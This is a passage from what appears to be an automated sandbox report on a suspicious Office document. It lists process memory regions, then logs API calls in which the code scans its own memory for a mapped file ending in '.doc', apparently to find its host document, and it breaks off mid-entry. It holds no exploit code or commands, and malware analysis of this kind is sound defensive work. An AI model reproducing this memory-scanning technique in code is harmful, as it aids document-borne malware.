0xbf03fff entry_point = 0x0 region_type = private name = "private_0x000000000bf00000" filename = "" Region: id = 438 start_va = 0xbf10000 end_va = 0xbf13fff entry_point = 0x0 region_type = private name = "private_0x000000000bf10000" filename = "" Region: id = 439 start_va = 0x52b0000 end_va = 0x52b3fff entry_point = 0x0 region_type = private name = "private_0x00000000052b0000" filename = "" Region: id = 440 start_va = 0xbf20000 end_va = 0xbf23fff entry_point = 0x0 region_type = private name = "private_0x000000000bf20000" filename = "" Region: id = 441 start_va = 0xbf30000 end_va = 0xbf33fff entry_point = 0x0 region_type = private name = "private_0x000000000bf30000" filename = "" Region: id = 442 start_va = 0xbf40000 end_va = 0xbf43fff entry_point = 0x0 region_type = private name = "private_0x000000000bf40000" filename = "" Region: id = 443 start_va = 0xbf50000 end_va = 0xbf53fff entry_point = 0x0 region_type = private name = "private_0x000000000bf50000" filename = "" Region: id = 444 start_va = 0xbf60000 end_va = 0xbf63fff entry_point = 0x0 region_type = private name = "private_0x000000000bf60000" filename = "" Region: id = 445 start_va = 0xd070000 end_va = 0xd073fff entry_point = 0x0 region_type = private name = "private_0x000000000d070000" filename = "" Region: id = 446 start_va = 0x8300000 end_va = 0x8303fff entry_point = 0x0 region_type = private name = "private_0x0000000008300000" filename = "" Region: id = 447 start_va = 0xd080000 end_va = 0xd082fff entry_point = 0x0 region_type = private name = "private_0x000000000d080000" filename = "" Region: id = 448 start_va = 0xd090000 end_va = 0xd0aafff entry_point = 0x0 region_type = private name = "private_0x000000000d090000" filename = "" Region: id = 449 start_va = 0xd0b0000 end_va = 0xd0b0fff entry_point = 0x0 region_type = private name = "private_0x000000000d0b0000" filename = "" Region: id = 450 start_va = 0xd0c0000 end_va = 0xd0c0fff entry_point = 0x0 region_type = private name = "private_0x000000000d0c0000" filename = "" Region: id = 468 start_va = 0x7fef3cd0000 end_va = 0x7fef3d20fff entry_point = 0x7fef3cd0000 region_type = mapped_file name = "msproof7.dll" filename = "\\Program Files\\Microsoft Office\\Office15\\msproof7.dll" (normalized: "c:\\program files\\microsoft office\\office15\\msproof7.dll") Region: id = 549 start_va = 0x8530000 end_va = 0x8610fff entry_point = 0x0 region_type = private name = "private_0x0000000008530000" filename = "" Region: id = 550 start_va = 0x8620000 end_va = 0x8700fff entry_point = 0x0 region_type = private name = "private_0x0000000008620000" filename = "" Region: id = 551 start_va = 0x9fc0000 end_va = 0xa41ffff entry_point = 0x0 region_type = private name = "private_0x0000000009fc0000" filename = "" Region: id = 552 start_va = 0xa430000 end_va = 0xa430fff entry_point = 0x0 region_type = private name = "private_0x000000000a430000" filename = "" Region: id = 553 start_va = 0xd0d0000 end_va = 0xd17afff entry_point = 0xd0d0000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 554 start_va = 0xd180000 end_va = 0xe14ffff entry_point = 0x0 region_type = private name = "private_0x000000000d180000" filename = "" Region: id = 555 start_va = 0x7fee8270000 end_va = 0x7fee82b3fff entry_point = 0x7fee8270000 region_type = mapped_file name = "windowscodecsext.dll" filename = "\\Windows\\System32\\WindowsCodecsExt.dll" (normalized: "c:\\windows\\system32\\windowscodecsext.dll") Region: id = 556 start_va = 0x1f50000 end_va = 0x1f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 557 start_va = 0x7fee81d0000 end_va = 0x7fee826bfff entry_point = 0x7fee81d0000 region_type = mapped_file name = "mscms.dll" filename = "\\Windows\\System32\\mscms.dll" (normalized: "c:\\windows\\system32\\mscms.dll") Region: id = 558 start_va = 0x7fefc840000 end_va = 0x7fefc85dfff entry_point = 0x7fefc840000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 561 start_va = 0x1f70000 end_va = 0x1f70fff entry_point = 0x1f70000 region_type = mapped_file name = "srgb color space profile.icm" filename = "\\Windows\\System32\\spool\\drivers\\color\\sRGB Color Space Profile.icm" (normalized: "c:\\windows\\system32\\spool\\drivers\\color\\srgb color space profile.icm") Region: id = 562 start_va = 0x7fee8180000 end_va = 0x7fee81c1fff entry_point = 0x7fee8180000 region_type = mapped_file name = "icm32.dll" filename = "\\Windows\\System32\\icm32.dll" (normalized: "c:\\windows\\system32\\icm32.dll") Region: id = 4123 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 4124 start_va = 0x1f80000 end_va = 0x1f81fff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 4125 start_va = 0x1f90000 end_va = 0x1f91fff entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 4126 start_va = 0x2030000 end_va = 0x2031fff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 4127 start_va = 0x2040000 end_va = 0x2041fff entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 4128 start_va = 0x8710000 end_va = 0x890ffff entry_point = 0x0 region_type = private name = "private_0x0000000008710000" filename = "" Region: id = 4129 start_va = 0xeea0000 end_va = 0xef9ffff entry_point = 0x0 region_type = private name = "private_0x000000000eea0000" filename = "" Region: id = 4130 start_va = 0xefa0000 end_va = 0xf459fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000efa0000" filename = "" Region: id = 4131 start_va = 0xf790000 end_va = 0xfb03fff entry_point = 0x0 region_type = private name = "private_0x000000000f790000" filename = "" Region: id = 4132 start_va = 0xfb10000 end_va = 0xfe88fff entry_point = 0x0 region_type = private name = "private_0x000000000fb10000" filename = "" Region: id = 4133 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 4209 start_va = 0x7fefbd00000 end_va = 0x7fefbd2bfff entry_point = 0x7fefbd015c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4216 start_va = 0x7fefb520000 end_va = 0x7fefb52bfff entry_point = 0x7fefb5218a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Thread: id = 1 os_tid = 0x98c Thread: id = 2 os_tid = 0x988 [0018.312] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32.dll", BaseAddress=0x53bf930 | out: BaseAddress=0x53bf930*=0x77320000) returned 0x0 [0018.312] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="Psapi.dll", BaseAddress=0x53bf938 | out: BaseAddress=0x53bf938*=0x77710000) returned 0x0 [0018.312] VirtualQuery (in: lpAddress=0x0, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.312] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x0, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?")) returned 0x0 [0018.312] VirtualQuery (in: lpAddress=0x10000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.312] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x10000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?")) returned 0x0 [0018.312] VirtualQuery (in: lpAddress=0x20000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x20000, AllocationBase=0x20000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.312] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x20000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?")) returned 0x0 [0018.312] VirtualQuery (in: lpAddress=0x21000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x21000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.312] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x21000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?")) returned 0x0 [0018.312] VirtualQuery (in: lpAddress=0x30000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.312] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x30000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?")) returned 0x0 [0018.312] VirtualQuery (in: lpAddress=0x34000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x34000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x34000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x40000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x40000, AllocationBase=0x40000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x40000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x44000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x44000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x44000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x50000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="\\Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")) returned 0x33 [0018.313] lstrcmpA (lpString1=".nls", lpString2=".doc") returned 1 [0018.313] VirtualQuery (in: lpAddress=0xb7000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0xb7000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0xb7000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0xc0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0xc0000, AllocationBase=0xc0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0xc0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0xc1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0xc1000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0xc1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0xd0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0xd2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0xd2000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0xd2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0xe0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0xe0000, AllocationBase=0xe0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0xe0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0xe2000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0xe2000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0xe2000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0xf0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0xf1000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0xf1000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x100000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x100000, AllocationBase=0x100000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x100000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x101000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x101000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x101000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x110000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x120000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x120000, AllocationBase=0x120000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x31000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x120000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x151000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x151000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x160000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x160000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x160000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xdb000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x170000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x24b000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x24b000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x24b000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x24d000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x24d000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x23000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.313] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x24d000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.313] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x270000, AllocationBase=0x270000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x100000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x270000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x370000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x370000, AllocationBase=0x370000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x370000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x372000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x372000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x372000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x380000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x380000, AllocationBase=0x380000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x380000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x382000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x382000, AllocationBase=0x380000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x382000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x390000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x390000, AllocationBase=0x390000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x390000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x397000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x397000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x397000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop\\?device\\harddiskvolume1\\windows\\system32\\locale.nls")) returned 0x0 [0018.314] VirtualQuery (in: lpAddress=0x3a0000, lpBuffer=0x53bf2c0, dwLength=0x30 | out: lpBuffer=0x53bf2c0*(BaseAddress=0x3a0000, AllocationBase=0x3a0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0018.314] GetMappedFileNameA (in: hProcess=0xffffffffffffffff, lpv=0x3a0000, lpFilename=0x53bf2f0, nSize=0x104 | out: lpFilename="?Device\\HarddiskVolume1\\Windows\\System32\\locale.nls" (normalized: 